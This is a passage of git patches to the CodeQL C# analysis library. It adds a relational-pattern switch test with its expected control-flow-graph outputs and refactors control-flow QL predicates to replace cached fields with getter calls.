enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | exit M2 (normal) | @@ -15024,6 +15086,24 @@ postBlockDominance | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:74:26:74:27 | enter M7 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:74:26:74:27 | enter M7 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:76:16:82:9 | ... switch { ... } | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:78:20:78:24 | "> 1" | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:78:20:78:24 | "> 1" | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | enter M2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 1b5088c216e..47ca910462c 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -3621,6 +3621,27 @@ nodeEnclosing | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:74:26:74:27 | exit M7 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:74:26:74:27 | exit M7 (normal) | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:75:5:83:5 | {...} | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:76:9:82:10 | return ...; | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:76:16:76:16 | access to parameter i | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:78:13:78:24 | ... => ... | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:78:15:78:15 | 1 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:79:13:79:24 | ... => ... | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:80:13:80:20 | ... => ... | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:74:26:74:27 | M7 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:5:10:5:11 | exit M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | M1 | @@ -5746,6 +5767,15 @@ blockEnclosing | Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:74:26:74:27 | M7 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | M2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index 087bcc9b5d3..0d597fdd0f4 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ -2260,6 +2260,24 @@ | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:75:5:83:5 | {...} | Patterns.cs:75:5:83:5 | {...} | +| Patterns.cs:76:9:82:10 | return ...; | Patterns.cs:76:16:76:16 | access to parameter i | +| Patterns.cs:76:16:76:16 | access to parameter i | Patterns.cs:76:16:76:16 | access to parameter i | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:76:16:76:16 | access to parameter i | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:78:15:78:15 | 1 | +| Patterns.cs:78:13:78:24 | ... => ... | Patterns.cs:78:15:78:15 | 1 | +| Patterns.cs:78:15:78:15 | 1 | Patterns.cs:78:15:78:15 | 1 | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:78:20:78:24 | "> 1" | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:79:13:79:24 | ... => ... | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:80:13:80:20 | ... => ... | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:7:9:7:28 | call to method WriteLine | PostDominance.cs:7:27:7:27 | access to parameter s | | PostDominance.cs:7:9:7:29 | ...; | PostDominance.cs:7:9:7:29 | ...; | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 384c01fc520..5a6b27b882a 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -2959,6 +2959,27 @@ | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | match | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:13:70:27 | ... => ... | normal | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | normal | +| Patterns.cs:75:5:83:5 | {...} | Patterns.cs:76:9:82:10 | return ...; | return | +| Patterns.cs:76:9:82:10 | return ...; | Patterns.cs:76:9:82:10 | return ...; | return | +| Patterns.cs:76:16:76:16 | access to parameter i | Patterns.cs:76:16:76:16 | access to parameter i | normal | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:76:16:82:9 | ... switch { ... } | normal | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:78:13:78:15 | > ... | match | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:78:13:78:15 | > ... | no-match | +| Patterns.cs:78:13:78:24 | ... => ... | Patterns.cs:78:13:78:24 | ... => ... | normal | +| Patterns.cs:78:15:78:15 | 1 | Patterns.cs:78:15:78:15 | 1 | normal | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:78:20:78:24 | "> 1" | normal | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:79:13:79:15 | < ... | match | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:79:13:79:15 | < ... | no-match | +| Patterns.cs:79:13:79:24 | ... => ... | Patterns.cs:79:13:79:24 | ... => ... | normal | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:15:79:15 | 0 | normal | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:79:20:79:24 | "< 0" | normal | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:13:80:13 | 1 | match | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:13:80:13 | 1 | no-match | +| Patterns.cs:80:13:80:20 | ... => ... | Patterns.cs:80:13:80:20 | ... => ... | normal | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:18:80:20 | "1" | normal | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | match | +| Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:81:13:81:20 | ... => ... | normal | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | normal | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | | PostDominance.cs:7:9:7:28 | call to method WriteLine | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | | PostDominance.cs:7:9:7:29 | ...; | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 253885b6e1d..730966a551d 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -3652,6 +3652,29 @@ | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | semmle.label | match | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:67:16:71:9 | ... switch { ... } | semmle.label | successor | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:27 | ... => ... | semmle.label | successor | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:75:5:83:5 | {...} | semmle.label | successor | +| Patterns.cs:74:26:74:27 | exit M7 (normal) | Patterns.cs:74:26:74:27 | exit M7 | semmle.label | successor | +| Patterns.cs:75:5:83:5 | {...} | Patterns.cs:76:16:76:16 | access to parameter i | semmle.label | successor | +| Patterns.cs:76:9:82:10 | return ...; | Patterns.cs:74:26:74:27 | exit M7 (normal) | semmle.label | return | +| Patterns.cs:76:16:76:16 | access to parameter i | Patterns.cs:78:15:78:15 | 1 | semmle.label | successor | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:76:9:82:10 | return ...; | semmle.label | successor | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:78:20:78:24 | "> 1" | semmle.label | match | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:79:15:79:15 | 0 | semmle.label | no-match | +| Patterns.cs:78:13:78:24 | ... => ... | Patterns.cs:76:16:82:9 | ... switch { ... } | semmle.label | successor | +| Patterns.cs:78:15:78:15 | 1 | Patterns.cs:78:13:78:15 | > ... | semmle.label | successor | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:78:13:78:24 | ... => ... | semmle.label | successor | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:79:20:79:24 | "< 0" | semmle.label | match | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:80:13:80:13 | 1 | semmle.label | no-match | +| Patterns.cs:79:13:79:24 | ... => ... | Patterns.cs:76:16:82:9 | ... switch { ... } | semmle.label | successor | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:13:79:15 | < ... | semmle.label | successor | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:79:13:79:24 | ... => ... | semmle.label | successor | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:18:80:20 | "1" | semmle.label | match | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:13:81:13 | _ | semmle.label | no-match | +| Patterns.cs:80:13:80:20 | ... => ... | Patterns.cs:76:16:82:9 | ... switch { ... } | semmle.label | successor | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:13:80:20 | ... => ... | semmle.label | successor | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | semmle.label | match | +| Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:76:16:82:9 | ... switch { ... } | semmle.label | successor | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:20 | ... => ... | semmle.label | successor | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:6:5:8:5 | {...} | semmle.label | successor | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | exit M1 | semmle.label | successor | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:29 | ...; | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index 9c66acba802..80b2ba16540 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -1224,6 +1224,7 @@ entryPoint | Patterns.cs:53:24:53:25 | M4 | Patterns.cs:54:9:54:9 | access to parameter c | | Patterns.cs:56:26:56:27 | M5 | Patterns.cs:57:5:63:5 | {...} | | Patterns.cs:65:26:65:27 | M6 | Patterns.cs:66:5:72:5 | {...} | +| Patterns.cs:74:26:74:27 | M7 | Patterns.cs:75:5:83:5 | {...} | | PostDominance.cs:5:10:5:11 | M1 | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:10:10:10:11 | M2 | PostDominance.cs:11:5:15:5 | {...} | | PostDominance.cs:17:10:17:11 | M3 | PostDominance.cs:18:5:22:5 | {...} | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs b/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs index 86a6e34d708..1b6195174af 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs +++ b/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs @@ -70,4 +70,15 @@ class Patterns 2 => "possible" }; } + + public static string M7(int i) + { + return i switch + { + > 1 => "> 1", + < 0 => "< 0", + 1 => "1", + _ => "0" + }; + } } From 0543e348127ad1a4e26fbee267794c54c26b9db6 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Thu, 21 Jan 2021 08:38:57 +0100 Subject: [PATCH 0799/1241] C#: Address review comment --- .../controlflow/internal/Completion.qll | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll index dc6dfd91622..bdd8286818b 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll @@ -269,19 +269,16 @@ private predicate typePatternCommonSubType(Type t, Type strippedType) { * constantly non-matches (`value = false`). */ private predicate isMatchingConstant(PatternExpr pe, boolean value) { - exists(Expr e | mustHaveMatchingCompletion(e, pe) | - exists(Expr stripped | stripped = e.stripCasts() | - exists(string strippedValue, string patternValue | - strippedValue = stripped.getValue() and - patternValue = pe.getValue() and - if strippedValue = patternValue then value = true else value = false - ) - ) - or - pe instanceof DiscardPatternExpr and - value = true + exists(Expr e, string exprValue, string patternValue | + mustHaveMatchingCompletion(e, pe) and + exprValue = e.stripCasts().getValue() and + patternValue = pe.getValue() and + if exprValue = patternValue then value = true else value = false ) or + pe instanceof DiscardPatternExpr and + value = true + or exists(Type t, Type strippedType | typePatternMustHaveMatchingCompletion(pe, t, strippedType) and not typePatternCommonSubType(t, strippedType) and From 355edcb13699187cf611061c803848a2494ae083 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Fri, 22 Jan 2021 12:27:40 +0000 Subject: [PATCH 0800/1241] Csharp: Reduce BDD usage. --- .../internal/ControlFlowGraphImpl.qll | 200 +++++++----------- 1 file changed, 77 insertions(+), 123 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index cb22d51aee8..1d2405a7769 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -225,15 +225,11 @@ abstract private class PostOrderTree extends ControlFlowTree { } abstract private class SwitchTree extends ControlFlowTree, Switch { - Expr expr; - - SwitchTree() { expr = this.getExpr() } - - override predicate propagatesAbnormal(ControlFlowElement child) { child = expr } + override predicate propagatesAbnormal(ControlFlowElement child) { child = this.getExpr() } override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { // Flow from last element of switch expression to first element of first case - last(expr, pred, c) and + last(this.getExpr(), pred, c) and c instanceof NormalCompletion and first(this.getCase(0), succ) or @@ -254,17 +250,12 @@ abstract private class SwitchTree extends ControlFlowTree, Switch { } abstract private class CaseTree extends ControlFlowTree, Case { - PatternExpr pattern; - ControlFlowElement body; - - CaseTree() { pattern = this.getPattern() and body = this.getBody() } - final override predicate propagatesAbnormal(ControlFlowElement child) { - child in [pattern, this.getCondition().(ControlFlowElement), body] + child in [this.getPattern(), this.getCondition().(ControlFlowElement), this.getBody()] } override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { - last(pattern, pred, c) and + last(this.getPattern(), pred, c) and c.(MatchingCompletion).isMatch() and ( if exists(this.getCondition()) @@ -273,13 +264,13 @@ abstract private class CaseTree extends ControlFlowTree, Case { first(this.getCondition(), succ) else // Flow from last element of pattern to first element of body - first(body, succ) + first(this.getBody(), succ) ) or // Flow from last element of condition to first element of body last(this.getCondition(), pred, c) and c instanceof TrueCompletion and - first(body, succ) + first(this.getBody(), succ) } } @@ -427,13 +418,11 @@ module Expressions { } } + private class StatOrDynAccessorCall_ = + @dynamic_member_access_expr or @dynamic_element_access_expr or @call_access_expr; + /** A normal or a (potential) dynamic call to an accessor. */ - private class StatOrDynAccessorCall extends Expr { - StatOrDynAccessorCall() { - this instanceof AccessorCall or - this instanceof DynamicAccess - } - } + private class StatOrDynAccessorCall extends Expr, StatOrDynAccessorCall_ { } /** * An expression that writes via an accessor call, for example `x.Prop = 0`, @@ -528,120 +517,101 @@ module Expressions { } private class LogicalAndExprTree extends PostOrderTree, LogicalAndExpr { - private Expr left; - private Expr right; + final override predicate propagatesAbnormal(ControlFlowElement child) { + child in [this.getLeftOperand(), this.getRightOperand()] + } - LogicalAndExprTree() { left = this.getLeftOperand() and right = this.getRightOperand() } - - final override predicate propagatesAbnormal(ControlFlowElement child) { child in [left, right] } - - final override predicate first(ControlFlowElement first) { first(left, first) } + final override predicate first(ControlFlowElement first) { first(this.getLeftOperand(), first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { // Flow from last element of left operand to first element of right operand - last(left, pred, c) and + last(this.getLeftOperand(), pred, c) and c instanceof TrueCompletion and - first(right, succ) + first(this.getRightOperand(), succ) or // Post-order: flow from last element of left operand to element itself - last(left, pred, c) and + last(this.getLeftOperand(), pred, c) and c instanceof FalseCompletion and succ = this or // Post-order: flow from last element of right operand to element itself - last(right, pred, c) and + last(this.getRightOperand(), pred, c) and c instanceof NormalCompletion and succ = this } } private class LogicalOrExprTree extends PostOrderTree, LogicalOrExpr { - private Expr left; - private Expr right; + final override predicate propagatesAbnormal(ControlFlowElement child) { + child in [this.getLeftOperand(), this.getRightOperand()] + } - LogicalOrExprTree() { left = this.getLeftOperand() and right = this.getRightOperand() } - - final override predicate propagatesAbnormal(ControlFlowElement child) { child in [left, right] } - - final override predicate first(ControlFlowElement first) { first(left, first) } + final override predicate first(ControlFlowElement first) { first(this.getLeftOperand(), first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { // Flow from last element of left operand to first element of right operand - last(left, pred, c) and + last(this.getLeftOperand(), pred, c) and c instanceof FalseCompletion and - first(right, succ) + first(this.getRightOperand(), succ) or // Post-order: flow from last element of left operand to element itself - last(left, pred, c) and + last(this.getLeftOperand(), pred, c) and c instanceof TrueCompletion and succ = this or // Post-order: flow from last element of right operand to element itself - last(right, pred, c) and + last(this.getRightOperand(), pred, c) and c instanceof NormalCompletion and succ = this } } private class NullCoalescingExprTree extends PostOrderTree, NullCoalescingExpr { - private Expr left; - private Expr right; + final override predicate propagatesAbnormal(ControlFlowElement child) { + child in [this.getLeftOperand(), this.getRightOperand()] + } - NullCoalescingExprTree() { left = this.getLeftOperand() and right = this.getRightOperand() } - - final override predicate propagatesAbnormal(ControlFlowElement child) { child in [left, right] } - - final override predicate first(ControlFlowElement first) { first(left, first) } + final override predicate first(ControlFlowElement first) { first(this.getLeftOperand(), first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { // Flow from last element of left operand to first element of right operand - last(left, pred, c) and + last(this.getLeftOperand(), pred, c) and c.(NullnessCompletion).isNull() and - first(right, succ) + first(getRightOperand(), succ) or // Post-order: flow from last element of left operand to element itself - last(left, pred, c) and + last(this.getLeftOperand(), pred, c) and succ = this and c instanceof NormalCompletion and not c.(NullnessCompletion).isNull() or // Post-order: flow from last element of right operand to element itself - last(right, pred, c) and + last(getRightOperand(), pred, c) and c instanceof NormalCompletion and succ = this } } private class ConditionalExprTree extends PostOrderTree, ConditionalExpr { - private Expr condition; - private Expr thenBranch; - private Expr elseBranch; - - ConditionalExprTree() { - condition = this.getCondition() and - thenBranch = this.getThen() and - elseBranch = this.getElse() - } - final override predicate propagatesAbnormal(ControlFlowElement child) { - child in [condition, thenBranch, elseBranch] + child in [this.getCondition(), this.getThen(), this.getElse()] } - final override predicate first(ControlFlowElement first) { first(condition, first) } + final override predicate first(ControlFlowElement first) { first(this.getCondition(), first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { // Flow from last element of condition to first element of then branch - last(condition, pred, c) and + last(this.getCondition(), pred, c) and c instanceof TrueCompletion and - first(thenBranch, succ) + first(this.getThen(), succ) or // Flow from last element of condition to first element of else branch - last(condition, pred, c) and + last(this.getCondition(), pred, c) and c instanceof FalseCompletion and - first(elseBranch, succ) + first(this.getElse(), succ) or // Post-order: flow from last element of a branch to element itself - last([thenBranch, elseBranch], pred, c) and + last([this.getThen(), this.getElse()], pred, c) and c instanceof NormalCompletion and succ = this } @@ -653,15 +623,13 @@ module Expressions { * tracking. */ private class AssignOperationWithExpandedAssignment extends AssignOperation, ControlFlowTree { - private Expr expanded; - - AssignOperationWithExpandedAssignment() { expanded = this.getExpandedAssignment() } - - final override predicate first(ControlFlowElement first) { first(expanded, first) } + final override predicate first(ControlFlowElement first) { + first(this.getExpandedAssignment(), first) + } final override predicate last(ControlFlowElement last, Completion c) { - last = expanded and - last(expanded, last, c) + last = this.getExpandedAssignment() and + last(this.getExpandedAssignment(), last, c) } final override predicate propagatesAbnormal(ControlFlowElement child) { none() } @@ -711,16 +679,12 @@ module Expressions { } private class ThrowExprTree extends PostOrderTree, ThrowExpr { - private Expr expr; + final override predicate propagatesAbnormal(ControlFlowElement child) { child = this.getExpr() } - ThrowExprTree() { expr = this.getExpr() } - - final override predicate propagatesAbnormal(ControlFlowElement child) { child = expr } - - final override predicate first(ControlFlowElement first) { first(expr, first) } + final override predicate first(ControlFlowElement first) { first(this.getExpr(), first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { - last(expr, pred, c) and + last(this.getExpr(), pred, c) and c instanceof NormalCompletion and succ = this } @@ -827,7 +791,7 @@ module Expressions { child = this.getACase() } - final override predicate first(ControlFlowElement first) { first(expr, first) } + final override predicate first(ControlFlowElement first) { first(this.getExpr(), first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { SwitchTree.super.succ(pred, succ, c) @@ -839,7 +803,7 @@ module Expressions { } private class SwitchCaseExprTree extends PostOrderTree, CaseTree, SwitchCaseExpr { - final override predicate first(ControlFlowElement first) { first(pattern, first) } + final override predicate first(ControlFlowElement first) { first(this.getPattern(), first) } final override predicate last(ControlFlowElement last, Completion c) { PostOrderTree.super.last(last, c) @@ -849,7 +813,7 @@ module Expressions { this = se.getCase(i) and not this.matchesAll() and not exists(se.getCase(i + 1)) and - last([pattern, this.getCondition()], last, cc) and + last([this.getPattern(), this.getCondition()], last, cc) and (cc.(MatchingCompletion).isNonMatch() or cc instanceof FalseCompletion) and c = any(NestedCompletion nc | @@ -866,7 +830,7 @@ module Expressions { final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { CaseTree.super.succ(pred, succ, c) or - last(body, pred, c) and + last(this.getBody(), pred, c) and succ = this and c instanceof NormalCompletion } @@ -922,17 +886,15 @@ module Expressions { } private class NotPatternExprTree extends PostOrderTree, NotPatternExpr { - private PatternExpr operand; + final override predicate propagatesAbnormal(ControlFlowElement child) { + child = this.getPattern() + } - NotPatternExprTree() { operand = this.getPattern() } - - final override predicate propagatesAbnormal(ControlFlowElement child) { child = operand } - - final override predicate first(ControlFlowElement first) { first(operand, first) } + final override predicate first(ControlFlowElement first) { first(this.getPattern(), first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { succ = this and - last(operand, pred, c) and + last(this.getPattern(), pred, c) and c instanceof NormalCompletion } } @@ -1003,15 +965,13 @@ module Statements { } private class IfStmtTree extends PreOrderTree, IfStmt { - private Expr condition; - - IfStmtTree() { condition = this.getCondition() } - - final override predicate propagatesAbnormal(ControlFlowElement child) { child = condition } + final override predicate propagatesAbnormal(ControlFlowElement child) { + child = this.getCondition() + } final override predicate last(ControlFlowElement last, Completion c) { // Condition exits with a false completion and there is no `else` branch - last(condition, last, c) and + last(this.getCondition(), last, c) and c instanceof FalseCompletion and not exists(this.getElse()) or @@ -1025,10 +985,10 @@ module Statements { final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { // Pre-order: flow from statement itself to first element of condition pred = this and - first(condition, succ) and + first(this.getCondition(), succ) and c instanceof SimpleCompletion or - last(condition, pred, c) and + last(this.getCondition(), pred, c) and ( // Flow from last element of condition to first element of then branch c instanceof TrueCompletion and first(this.getThen(), succ) @@ -1043,7 +1003,7 @@ module Statements { final override predicate last(ControlFlowElement last, Completion c) { // Switch expression exits normally and there are no cases not exists(this.getACase()) and - last(expr, last, c) and + last(this.getExpr(), last, c) and c instanceof NormalCompletion or // A statement exits with a `break` completion @@ -1075,7 +1035,7 @@ module Statements { or // Pre-order: flow from statement itself to first switch expression pred = this and - first(expr, succ) and + 